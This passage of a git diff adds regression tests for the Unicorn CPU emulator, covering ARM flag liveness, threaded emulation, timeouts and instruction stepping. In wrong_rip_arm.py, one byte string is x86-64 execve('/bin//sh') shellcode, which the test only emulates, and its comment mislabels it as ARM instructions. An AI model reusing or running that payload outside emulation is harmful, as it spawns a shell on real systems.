return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/tcg_liveness_analysis_bug_issue-287.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/tcg_liveness_analysis_bug_issue-287.py new file mode 100644 index 0000000..4310a8c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/tcg_liveness_analysis_bug_issue-287.py @@ -0,0 +1,134 @@ +from unicorn import * +from unicorn.arm_const import * +import binascii + +MB = 1024 * 1024 +PAGE = 4 * 1024 + +def PrintArmRegisters(uc_emu): + print 'R0 : '+hex(uc_emu.reg_read(UC_ARM_REG_R0)) + print 'R1 : '+hex(uc_emu.reg_read(UC_ARM_REG_R1)) + print 'R2 : '+hex(uc_emu.reg_read(UC_ARM_REG_R2)) + print 'R3 : '+hex(uc_emu.reg_read(UC_ARM_REG_R3)) + print 'R4 : '+hex(uc_emu.reg_read(UC_ARM_REG_R4)) + print 'R5 : '+hex(uc_emu.reg_read(UC_ARM_REG_R5)) + print 'R6 : '+hex(uc_emu.reg_read(UC_ARM_REG_R6)) + print 'R7 : '+hex(uc_emu.reg_read(UC_ARM_REG_R7)) + print 'R8 : '+hex(uc_emu.reg_read(UC_ARM_REG_R8)) + print 'R9 : '+hex(uc_emu.reg_read(UC_ARM_REG_R9)) + print 'R10 : '+hex(uc_emu.reg_read(UC_ARM_REG_R10)) + print 'R11 : '+hex(uc_emu.reg_read(UC_ARM_REG_R11)) + print 'R12 : '+hex(uc_emu.reg_read(UC_ARM_REG_R12)) + print 'SP : '+hex(uc_emu.reg_read(UC_ARM_REG_SP)) + print 'LR : '+hex(uc_emu.reg_read(UC_ARM_REG_LR)) + print 'PC : '+hex(uc_emu.reg_read(UC_ARM_REG_PC)) + flags = uc_emu.reg_read(UC_ARM_REG_CPSR) + print 'carry : '+str(flags >> 29 & 0x1) + print 'overflow : '+str(flags >> 28 & 0x1) + print 'negative : '+str(flags >> 31 & 0x1) + print 'zero : '+str(flags >> 30 & 0x1) + +''' + issue #287 + Initial Register States: R0=3, R1=24, R2=16, R3=0 + ----- code start ----- + CMP R0,R1,LSR#3 + SUBCS R0,R0,R1,LSR#3 # CPU flags got changed in these two instructions, and *REMEMBERED*, now NF == VF == 0 + CMP R0,#1 # CPU flags changed again, now NF == 1, VF == 0, but they are not properly *REMEMBERED* + MOV R1,R1,LSR#4 + SUBGES R2,R2,#4 # according to the result of CMP, we should skip this op + + MOVGE R3,#100 # since changed flags are not *REMEMBERED* in CMP, now NF == VF == 0, which result in wrong branch + # at the end of this code block, should R3 == 0 + ----- code end ------ + + # TCG ops are correct, plain op translation is done correctly, + # but there're In-Memory bits invisible from ops that control the host code generation. + # all these codes are in one TCG translation-block, so wrong things could happen. + # detail explanation is given on the right side. + # remember, both set_label and brcond are point to refresh the dead_temps and mem_temps states in TCG + ----- TCG ops ------ + ld_i32 tmp5,env,$0xfffffffffffffff4 + movi_i32 tmp6,$0x0 + brcond_i32 tmp5,tmp6,ne,$0x0 + mov_i32 tmp5,r1 ------------------------- + movi_i32 tmp6,$0x3 | + shr_i32 tmp5,r1,tmp6 | + mov_i32 tmp6,r0 | + sub_i32 NF,r0,tmp5 | + mov_i32 ZF,NF | + setcond_i32 CF,r0,tmp5,geu | # This part is "CMP R0,R1,LSR#3" + xor_i32 VF,NF,r0 |-----> # and "SUBCS R0,R0,R1,LSR#3" + xor_i32 tmp7,r0,tmp5 | # the last op in this block, set_label get a chance to refresh the TCG globals memory states, + and_i32 VF,VF,tmp7 | # so things get back to normal states + mov_i32 tmp6,NF | # these codes are not affected by the bug. Let's called this Part-D + movi_i32 tmp5,$0x0 | + brcond_i32 CF,tmp5,eq,$0x1 | + mov_i32 tmp5,r1 | + movi_i32 tmp6,$0x3 | + shr_i32 tmp5,r1,tmp6 | + mov_i32 tmp6,r0 | + sub_i32 tmp6,r0,tmp5 | + mov_i32 r0,tmp6 | + set_label $0x1 ------------------------- + movi_i32 tmp5,$0x1 ----------------- # Let's called this Part-C + mov_i32 tmp6,r0 | # NF is used as output operand again! + sub_i32 NF,r0,tmp5 ----------------|-----> # but it is stated as Not-In-Memory, + mov_i32 ZF,NF | # no need to sync it after calculation. + setcond_i32 CF,r0,tmp5,geu | # the generated host code does not write NF + xor_i32 VF,NF,r0 | # back to its memory location, hence forgot. And the CPU flags after this calculation is not changed. + xor_i32 tmp7,r0,tmp5 | # Caution: the following SUBGES's condition check is right, even though the generated host code does not *REMEMBER* NF, it will cache the calculated result and serve SUBGES correctly + and_i32 VF,VF,tmp7 | + mov_i32 tmp6,NF | + mov_i32 tmp5,r1 | # this part is "CMP R0,#1" + movi_i32 tmp6,$0x4 | # and "MOV R1,R1,LSR#4" + shr_i32 tmp5,r1,tmp6 | # and "SUBGES R2,R2,#4" + mov_i32 r1,tmp5 |-----> # This is the part where problem start to arise + xor_i32 tmp5,VF,NF | + movi_i32 tmp6,$0x0 | + brcond_i32 tmp5,tmp6,lt,$0x2 --------|-----> # QEMU will refresh the InMemory bit for TCG globals here, but Unicorn won't + movi_i32 tmp5,$0x4 | + mov_i32 tmp6,r2 | # this is the 1st bug-related op get analyzed. + sub_i32 NF,r2,tmp5 ----------------|-----> # here, NF is an output operand, it's flagged dead + mov_i32 ZF,NF | # and the InMemory bit is clear, tell the previous(above) ops + setcond_i32 CF,r2,tmp5,geu | # if it is used as output operand again, do not sync it + xor_i32 VF,NF,r2 | # so the generated host-code for previous ops will not write it back to Memory + xor_i32 tmp7,r2,tmp5 | # Caution: the CPU flags after this calculation is also right, because the set_label is a point of refresh, make them *REMEMBERED* + and_i32 VF,VF,tmp7 | # Let's call this Part-B + mov_i32 tmp6,NF | + mov_i32 r2,ZF | + set_label $0x2 ----------------- + xor_i32 tmp5,VF,NF ----------------- + movi_i32 tmp6,$0x0 | + brcond_i32 tmp5,tmp6,lt,$0x3 | # Let's call this Part-A + movi_i32 tmp5,$0x64 | # if Part-B is not skipped, this part won't go wrong, because we'll check the CPU flags as the result of Part-B, it's *REMEMBERED* + movi_i32 r3,$0x64 |-----> # but if Part-B is skipped, + set_label $0x3 | # what should we expected? we will check the condition based on the result of Part-D!!! + call wfi,$0x0,$0,env | # because result of Part-C is lost. this is why things go wrong. + set_label $0x0 | + exit_tb $0x7f6401714013 ----------------- + ########### + ----- TCG ends ------ +''' + +TestCode = b'\xa1\x01\x50\xe1\xa1\x01\x40\x20\x01\x00\x50\xe3\x21\x12\xa0\xe1\x04\x20\x52\xa2\x64\x30\xa0\xa3' + +def UseUcToEmulate(): + try: + uc_emu = Uc(UC_ARCH_ARM, UC_MODE_ARM) + #if LoadCode(uc_emu, 2*MB, 0x9004): + uc_emu.mem_map(0, 2*MB) + uc_emu.reg_write(UC_ARM_REG_SP, 0x40000) + uc_emu.reg_write(UC_ARM_REG_R0, 3) + uc_emu.reg_write(UC_ARM_REG_R1, 24) + uc_emu.reg_write(UC_ARM_REG_R2, 16) + uc_emu.mem_write(0, TestCode) + uc_emu.emu_start(0, 24) + PrintArmRegisters(uc_emu) + + except UcError as e: + print("ERROR: %s" % e) + PrintArmRegisters(uc_emu) + + +UseUcToEmulate() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/threaded_emu_start.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/threaded_emu_start.c new file mode 100644 index 0000000..05776d7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/threaded_emu_start.c @@ -0,0 +1,241 @@ +/* +Test for uc_open() and uc_emu_start() being called by different threads. + +This code will call uc_open() in the main thread and then attempt +to call uc_emu_start() from its own thread. This would enable the emulator +to run in the background while you do other things like handle user interface +etc in the foreground. + +Currently "uc->qemu_global_mutex" is locked by uc_open() and unlocked +by uc_emu_start(). This is a problem because the mutex implementation +must be locked and unlocked by the same thread. This means that uc_open() +and uc_emu_start() must be executed in the same thread. This is an unnecessary +limitation which prevents the emulator from being able to be executed in the +background. +*/ + +// windows specific +#ifdef _MSC_VER +#include +#include +#include +#define PRIx64 "llX" +#ifdef DYNLOAD +#include +#else // DYNLOAD +#include +#ifdef _WIN64 +#pragma comment(lib, "unicorn_staload64.lib") +#else // _WIN64 +#pragma comment(lib, "unicorn_staload.lib") +#endif // _WIN64 +#endif // DYNLOAD + +// posix specific +#else // _MSC_VER +#include +#include "pthread.h" +#endif // _MSC_VER + +// for win32 threads in mingw +#ifdef _WIN32 +#include +#endif + +// common includes +#include + + +// Test MIPS little endian code. +// This should loop forever. +const uint64_t addr = 0x100000; +const unsigned char loop_test_code[] = { + 0x02,0x00,0x04,0x24, // 100000: li $a0, 2 + // loop1 + 0x00,0x00,0x00,0x00, // 100004: nop + 0xFE,0xFF,0x80,0x14, // 100008: bnez $a0, loop1 + 0x00,0x00,0x00,0x00, // 10000C: nop +}; +bool test_passed_ok = false; +int loop_count = 0; + + +// This hook is used to show that code is executing in the emulator. +static void mips_codehook(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + printf("Code: %"PRIx64"\n", address); +} + + +typedef struct { + uc_engine *uc; + uint64_t startAddr; + uint64_t endAddr; +} EmuStarterParam_t; + +// This is a thread that just runs uc_emu_start() in it. +// The code that it is executing in this case will run forever until it is stopped by uc_emu_stop(). +static uc_err emu_starter(void* param) +{ + uc_engine *uc; + uint64_t start_addr; + uint64_t end_addr; + uc_err err; + + EmuStarterParam_t* starter_params = (EmuStarterParam_t *)param; + uc = starter_params->uc; + start_addr = starter_params->startAddr; + end_addr = starter_params->endAddr; + + printf("uc_emu_start()\n"); + err = uc_emu_start(uc, start_addr, end_addr, 0, 0); + if (err) + { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } + + return err; +} + +#ifdef _WIN32 +static unsigned int __stdcall win32_emu_starter(void* param) +{ + uc_err err = emu_starter(param); + _endthreadex(err); + return err; +} +#else +static void* posix_emu_starter(void* param) +{ + uc_err err = emu_starter(param); + return (void*)err; +} +#endif + + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_err err; + int ret; + uc_hook hhc; + uint32_t val; + EmuStarterParam_t starter_params; +#ifdef _WIN32 + HANDLE th = (HANDLE)-1; +#else + pthread_t th; +#endif + + // dynamically load shared library +#ifdef DYNLOAD + uc_dyn_load(NULL, 0); +#endif + + // Initialize emulator in MIPS 32bit little endian mode + printf("uc_open()\n"); + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32, &uc); + if (err) + { + printf("Failed on uc_open() with error returned: %u\n", err); + return err; + } + + // map in a page of mem + printf("uc_mem_map()\n"); + err = uc_mem_map(uc, addr, 0x1000, UC_PROT_ALL); + if (err) + { + printf("Failed on uc_mem_map() with error returned: %u\n", err); + return err; + } + + // write machine code to be emulated to memory + printf("uc_mem_write()\n"); + err = uc_mem_write(uc, addr, loop_test_code, sizeof(loop_test_code)); + if( err ) + { + printf("Failed on uc_mem_write() with error returned: %u\n", err); + return err; + } + + // hook all instructions by having @begin > @end + printf("uc_hook_add()\n"); + uc_hook_add(uc, &hhc, UC_HOOK_CODE, mips_codehook, NULL, 1, 0); + if( err ) + { + printf("Failed on uc_hook_add(code) with error returned: %u\n", err); + return err; + } + + + // start background thread + printf("---- Thread Starting ----\n"); + starter_params.uc = uc; + starter_params.startAddr = addr; + starter_params.endAddr = addr + sizeof(loop_test_code); + +#ifdef _WIN32 + // create thread + th = (HANDLE)_beginthreadex(NULL, 0, win32_emu_starter, &starter_params, CREATE_SUSPENDED, NULL); + if(th == (HANDLE)-1) + { + printf("Failed on _beginthreadex() with error returned: %p\n", _errno()); + return -1; + } + // start thread + ret = ResumeThread(th); + if( ret == -1 ) + { + printf("Failed on ResumeThread() with error returned: %p\n", _errno()); + return -2; + } + // wait 3 seconds + Sleep(3 * 1000); +#else + // add posix code to start the emu_starter() thread + ret = pthread_create(&th, NULL, posix_emu_starter, &starter_params); + if( ret ) + { + printf("Failed on pthread_create() with error returned: %u\n", err); + return -2; + } + // wait 3 seconds + sleep(3); +#endif + + + // Stop the thread after it has been let to run in the background for a while + printf("---- Thread Stopping ----\n"); + printf("uc_emu_stop()\n"); + err = uc_emu_stop(uc); + if( err ) + { + printf("Failed on uc_emu_stop() with error returned: %u\n", err); + return err; + } + test_passed_ok = true; + + + // done executing, print some reg values as a test + uc_reg_read(uc, UC_MIPS_REG_PC, &val); printf("pc is %X\n", val); + uc_reg_read(uc, UC_MIPS_REG_A0, &val); printf("a0 is %X\n", val); + + // free resources + printf("uc_close()\n"); + uc_close(uc); + + if( test_passed_ok ) + printf("\n\nTEST PASSED!\n\n"); + else + printf("\n\nTEST FAILED!\n\n"); + + // dynamically free shared library +#ifdef DYNLOAD + uc_dyn_free(); +#endif + + return 0; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/timeout_segfault.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/timeout_segfault.c new file mode 100644 index 0000000..43abde0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/timeout_segfault.c @@ -0,0 +1,147 @@ +/* +timeout_segfault.c + +This program shows a case where the emulation timer keeps running after +emulation has ended. It triggers an intermittent segfault when _timeout_fn() +tries to call uc_emu_stop() after emulation has already been cleaned up. This +code is the same as samples/sample_arm.c, except that it adds a timeout on each +call to uc_emu_start(). See issue #78 for more details: +https://github.com/unicorn-engine/unicorn/issues/78 +*/ + +#include + + +// code to be emulated +#define ARM_CODE "\x37\x00\xa0\xe3\x03\x10\x42\xe0" // mov r0, #0x37; sub r1, r2, r3 +#define THUMB_CODE "\x83\xb0" // sub sp, #0xc + +// memory address where emulation starts +#define ADDRESS 0x10000 + +// number of seconds to wait before timeout +#define TIMEOUT 5 + +static void hook_block(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + printf(">>> Tracing basic block at 0x%"PRIx64 ", block size = 0x%x\n", address, size); +} + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + printf(">>> Tracing instruction at 0x%"PRIx64 ", instruction size = 0x%x\n", address, size); +} + +static void test_arm(void) +{ + uc_engine *uc; + uc_err err; + uc_hook trace1, trace2; + + int r0 = 0x1234; // R0 register + int r2 = 0x6789; // R1 register + int r3 = 0x3333; // R2 register + int r1; // R1 register + + printf("Emulate ARM code\n"); + + // Initialize emulator in ARM mode + err = uc_open(UC_ARCH_ARM, UC_MODE_ARM, &uc); + if (err) { + printf("Failed on uc_open() with error returned: %u (%s)\n", + err, uc_strerror(err)); + return; + } + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc_mem_write(uc, ADDRESS, ARM_CODE, sizeof(ARM_CODE) - 1); + + // initialize machine registers + uc_reg_write(uc, UC_ARM_REG_R0, &r0); + uc_reg_write(uc, UC_ARM_REG_R2, &r2); + uc_reg_write(uc, UC_ARM_REG_R3, &r3); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, &trace1, UC_HOOK_BLOCK, hook_block, NULL, 1, 0); + + // tracing one instruction at ADDRESS with customized callback + uc_hook_add(uc, &trace2, UC_HOOK_CODE, hook_code, NULL, ADDRESS, ADDRESS); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(ARM_CODE) -1, UC_SECOND_SCALE * TIMEOUT, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned: %u\n", err); + } + + // now print out some registers + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(uc, UC_ARM_REG_R0, &r0); + uc_reg_read(uc, UC_ARM_REG_R1, &r1); + printf(">>> R0 = 0x%x\n", r0); + printf(">>> R1 = 0x%x\n", r1); + + uc_close(uc); +} + +static void test_thumb(void) +{ + uc_engine *uc; + uc_err err; + uc_hook trace1, trace2; + + int sp = 0x1234; // R0 register + + printf("Emulate THUMB code\n"); + + // Initialize emulator in ARM mode + err = uc_open(UC_ARCH_ARM, UC_MODE_THUMB, &uc); + if (err) { + printf("Failed on uc_open() with error returned: %u (%s)\n", + err, uc_strerror(err)); + return; + } + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + uc_mem_write(uc, ADDRESS, THUMB_CODE, sizeof(THUMB_CODE) - 1); + + // initialize machine registers + uc_reg_write(uc, UC_ARM_REG_SP, &sp); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, &trace1, UC_HOOK_BLOCK, hook_block, NULL, 1, 0); + + // tracing one instruction at ADDRESS with customized callback + uc_hook_add(uc, &trace2, UC_HOOK_CODE, hook_code, NULL, ADDRESS, ADDRESS); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err = uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(THUMB_CODE) -1, UC_SECOND_SCALE * TIMEOUT, 0); + if (err) { + printf("Failed on uc_emu_start() with error returned: %u\n", err); + } + + // now print out some registers + printf(">>> Emulation done. Below is the CPU context\n"); + + uc_reg_read(uc, UC_ARM_REG_SP, &sp); + printf(">>> SP = 0x%x\n", sp); + + uc_close(uc); +} + +int main(int argc, char **argv, char **envp) +{ + test_arm(); + printf("==========================\n"); + test_thumb(); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/translator_buffer.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/translator_buffer.py new file mode 100644 index 0000000..1f8e548 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/translator_buffer.py @@ -0,0 +1,78 @@ +#!/usr/bin/python +# By Mariano Graziano + +from unicorn import * +from unicorn.x86_const import * + +import regress, struct + + +class Emulator: + def __init__(self, code, stack): + self.mask = 0xFFFFFFFFFFFFF000 + self.unicorn_code = code + self.unicorn_stack = stack + self.mu = Uc(UC_ARCH_X86, UC_MODE_64) + size = 1 * 4096 + self.mu.mem_map(code & self.mask, size) + size = 1 * 4096 + self.mu.mem_map(stack & self.mask, size) + self.set_hooks() + + def set_hooks(self): + self.mu.hook_add(UC_HOOK_MEM_WRITE, self.hook_mem_access) + self.mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, self.hook_mem_invalid) + self.mu.hook_add(UC_HOOK_MEM_FETCH_UNMAPPED, self.hook_mem_fetch_unmapped) + + def hook_mem_fetch_unmapped(self, uc, access, address, size, value, user_data): + next_ip = self.unicorn_code + size + self.mu.reg_write(UC_X86_REG_RIP, next_ip) + self.mu.mem_write(next_ip, "\x90") + self.mu.reg_write(UC_X86_REG_RIP, address) + return True + + def hook_mem_invalid(self, uc, access, address, size, value, user_data): + return True + + def hook_mem_access(self, uc, access, address, size, value, user_data): + return True + + def emu(self, size): + ip = self.mu.reg_read(UC_X86_REG_RIP) + try: + self.mu.emu_start(ip, ip + size, timeout=10000, count=1) + except UcError as e: + print("Error %s" % e) + + def write_data(self, address, content): + self.mu.mem_write(address, content) + + +class Init(regress.RegressTest): + def init_unicorn(self, ip, sp, counter): + #print "[+] Emulating IP: %x SP: %x - Counter: %x" % (ip, sp, counter) + E = Emulator(ip, sp) + E.write_data(ip, "\x90") + E.write_data(sp, self.generate_value(counter)) + E.mu.reg_write(UC_X86_REG_RSP, sp) + E.mu.reg_write(UC_X86_REG_RIP, ip) + E.emu(1) + + def generate_value(self, counter): + start = 0xffff880026f02000 + offset = counter * 8 + address = start + offset + return struct.pack(">> Before emulation ") + print("\tD6 = 0x%x" % mu.reg_read(UC_ARM_REG_D6)) + print("\tD7 = 0x%x" % mu.reg_read(UC_ARM_REG_D7)) + for i in range(UC_ARM_REG_R0, UC_ARM_REG_R12): + val = mu.reg_read(i) + print("\t %s = 0x%x" % ("R" + str(i-UC_ARM_REG_R0),val)) + + self.assertEqual(UC_ARM_REG_D6, mu.reg_read(UC_ARM_REG_D6)) + self.assertEqual(UC_ARM_REG_D7, mu.reg_read(UC_ARM_REG_D7)) + + try: + content = mu.mem_read(SCRATCH_ADDRESS, 100) + print("Memory at addr 0x%X %s" % (SCRATCH_ADDRESS, binascii.hexlify(content))) + content = mu.mem_read(SCRATCH_ADDRESS+0x100, 100) + print("Memory at addr 0x%X %s" % (SCRATCH_ADDRESS+0x100, binascii.hexlify(content))) + except Exception, errtxt: + print (errtxt) + + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(code)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + sp = mu.reg_read(UC_ARM_REG_SP) + print(">>> SP = 0x%x" %sp) + val = mu.reg_read(UC_ARM_REG_PC) + print(">>> PC = 0x%x" %val) + for i in range(UC_ARM_REG_R0, UC_ARM_REG_R12): + val = mu.reg_read(i) + print(">>> %s = 0x%x" % ("R" + str(i-UC_ARM_REG_R0),val)) + + print("\tD6 = 0x%x" % mu.reg_read(UC_ARM_REG_D6)) + print("\tD7 = 0x%x" % mu.reg_read(UC_ARM_REG_D7)) + + try: + content = mu.mem_read(SCRATCH_ADDRESS, 100) + print("Memory at addr 0x%X %s" % (SCRATCH_ADDRESS, binascii.hexlify(content))) + content = mu.mem_read(SCRATCH_ADDRESS+0x100, 100) + print("Memory at addr 0x%X %s" % (SCRATCH_ADDRESS+0x100, binascii.hexlify(content))) + except Exception, errtxt: + print (errtxt) + + self.assertEqual(mu.reg_read(UC_ARM_REG_D6), 0x0101010101010101) + self.assertEqual(mu.reg_read(UC_ARM_REG_D7), 0x0101010101010101) + + except UcError as e: + print("ERROR: %s" % e) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/write_before_map.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/write_before_map.py new file mode 100644 index 0000000..7bdb1e4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/write_before_map.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +from __future__ import print_function +from unicorn import * +from unicorn.x86_const import * + +import regress + +X86_CODE64 = "\x90" # NOP + + +class WriteBeforeMap(regress.RegressTest): + def runTest(self): + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + # memory address where emulation starts + ADDRESS = 0x1000000 + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE64) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip.py new file mode 100644 index 0000000..8754980 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip.py @@ -0,0 +1,71 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.x86_const import * + +import regress + +binary1 = b'\xb8\x02\x00\x00\x00' # mov eax, 2 +binary2 = b'\xb8\x01\x00\x00\x00' # mov eax, 1 + +class WrongRIP(regress.RegressTest): + + def test_step(self): + mu = Uc(UC_ARCH_X86, UC_MODE_64) + mu.mem_map(0, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(0, binary1 + binary2) + # emu for maximum 1 instruction. + mu.emu_start(0, 5, 0, 1) + + self.assertEqual(0x2, mu.reg_read(UC_X86_REG_RAX)) + self.assertEqual(0x5, mu.reg_read(UC_X86_REG_RIP)) + + mu.emu_start(5, 10, 0, 1) + self.assertEqual(0xa, mu.reg_read(UC_X86_REG_RIP)) + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_RAX)) + + def test_step2(self): + mu = Uc(UC_ARCH_X86, UC_MODE_64) + mu.mem_map(0, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(0, binary1 + binary2) + # emu for maximum 1 instruction. + mu.emu_start(0, 10, 0, 1) + self.assertEqual(0x2, mu.reg_read(UC_X86_REG_RAX)) + self.assertEqual(0x5, mu.reg_read(UC_X86_REG_RIP)) + + mu.emu_start(5, 10, 0, 1) + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_RAX)) + self.assertEqual(0xa, mu.reg_read(UC_X86_REG_RIP)) + + def test_step3(self): + bin3 = b'\x40\x01\xc1\x31\xf6' # inc eax; add ecx, eax; xor esi, esi + mu = Uc(UC_ARCH_X86, UC_MODE_32) + mu.mem_map(0, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(0, bin3) + # emu for maximum 1 instruction. + mu.emu_start(0, 10, 0, 1) + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_EAX)) + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_EIP)) + + def test_step_then_fin(self): + bin4 = b'\x40\x01\xc1\x31\xf6\x90\x90\x90' # inc eax; add ecx, eax; xor esi, esi + mu = Uc(UC_ARCH_X86, UC_MODE_32) + mu.mem_map(0, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(0, bin4) + # emu for maximum 1 instruction. + mu.emu_start(0, len(binary1), 0, 1) + + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_EAX)) + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_EIP)) + # emu to the end + mu.emu_start(1, len(bin4)) + self.assertEqual(0x1, mu.reg_read(UC_X86_REG_EAX)) + self.assertEqual(len(bin4), mu.reg_read(UC_X86_REG_EIP)) + +if __name__ == '__main__': + regress.main() + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip_arm.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip_arm.py new file mode 100644 index 0000000..de710d8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_rip_arm.py @@ -0,0 +1,38 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.x86_const import * +from unicorn.arm_const import * + +import regress + +# adds r1, #0x48 +# ldrsb r7, [r7, r7] +# ldrsh r7, [r2, r1] +# ldr r0, [pc, #0x168] +# cmp r7, #0xbf +# str r7, [r5, #0x20] +# ldr r1, [r5, #0x64] +# strb r7, [r5, #0xc] +# ldr r0, [pc, #0x1a0] +binary1 = b'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05' +# binary1 = b'\x48\x31\xff\x57' +#adds r1, #0x48 +#ldrsb r7, [r7, r7] + +class WrongRIPArm(regress.RegressTest): + + def runTest(self): + mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) + mu.mem_map(0, 2 * 1024 * 1024) + # write machine code to be emulated to memory + mu.mem_write(0, binary1) + mu.reg_write(UC_ARM_REG_R13, 1 * 1024 * 1024) + # emu for maximum 1 instruction. + mu.emu_start(0, len(binary1), 0, 1) + self.assertEqual(0x48, mu.reg_read(UC_ARM_REG_R1)) + pos = mu.reg_read(UC_ARM_REG_R15) + self.assertEqual(0x2, pos) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_sp_arm.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_sp_arm.py new file mode 100644 index 0000000..13dbd36 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/wrong_sp_arm.py @@ -0,0 +1,28 @@ +#!/usr/bin/python +# By Ryan Hileman, issue #16 + +from unicorn import * +from unicorn.arm_const import * +from unicorn.arm64_const import * + +import regress + +class WrongSPArm(regress.RegressTest): + + def test_32(self): + with self.assertRaises(UcError): + uc = Uc(UC_ARCH_ARM, UC_MODE_32) + uc.reg_write(UC_ARM_REG_SP, 4) + + def test_64(self): + uc = Uc(UC_ARCH_ARM64, UC_MODE_ARM) + uc.reg_write(UC_ARM64_REG_SP, 4) + self.assertEqual(0x4, uc.reg_read(UC_ARM64_REG_SP)) + + def test_arm(self): + uc = Uc(UC_ARCH_ARM, UC_MODE_ARM) + uc.reg_write(UC_ARM_REG_SP, 4) + self.assertEqual(0x4, uc.reg_read(UC_ARM_REG_SP)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_16_segfault.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_16_segfault.c new file mode 100644 index 0000000..d7d97b0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_16_segfault.c @@ -0,0 +1,22 @@ +#include + +#define BINARY "\x90" +#define MEMORY_SIZE 4 * 1024 +#define STARTING_ADDRESS 100 * 1024 + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(UC_ARCH_X86, UC_MODE_16, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, STARTING_ADDRESS, MEMORY_SIZE, UC_PROT_ALL); + if (uc_mem_write(uc, STARTING_ADDRESS, BINARY, sizeof(BINARY) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, STARTING_ADDRESS, STARTING_ADDRESS + sizeof(BINARY) - 1, 0, 20); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_conditional_jump.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_conditional_jump.py new file mode 100644 index 0000000..7a40105 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_conditional_jump.py @@ -0,0 +1,39 @@ +#!/usr/bin/python +import regress +import unicorn as U + +class WrongConditionalPath(regress.RegressTest): + def test_eflags(self): + # 0: 4d 31 f6 xor r14, r14 + # 3: 45 85 f6 test r14d, r14d + # 6: 75 fe jne 0x6 + # 8: f4 hlt + CODE = 'M1\xf6E\x85\xf6u\xfe\xf4' + + uc = 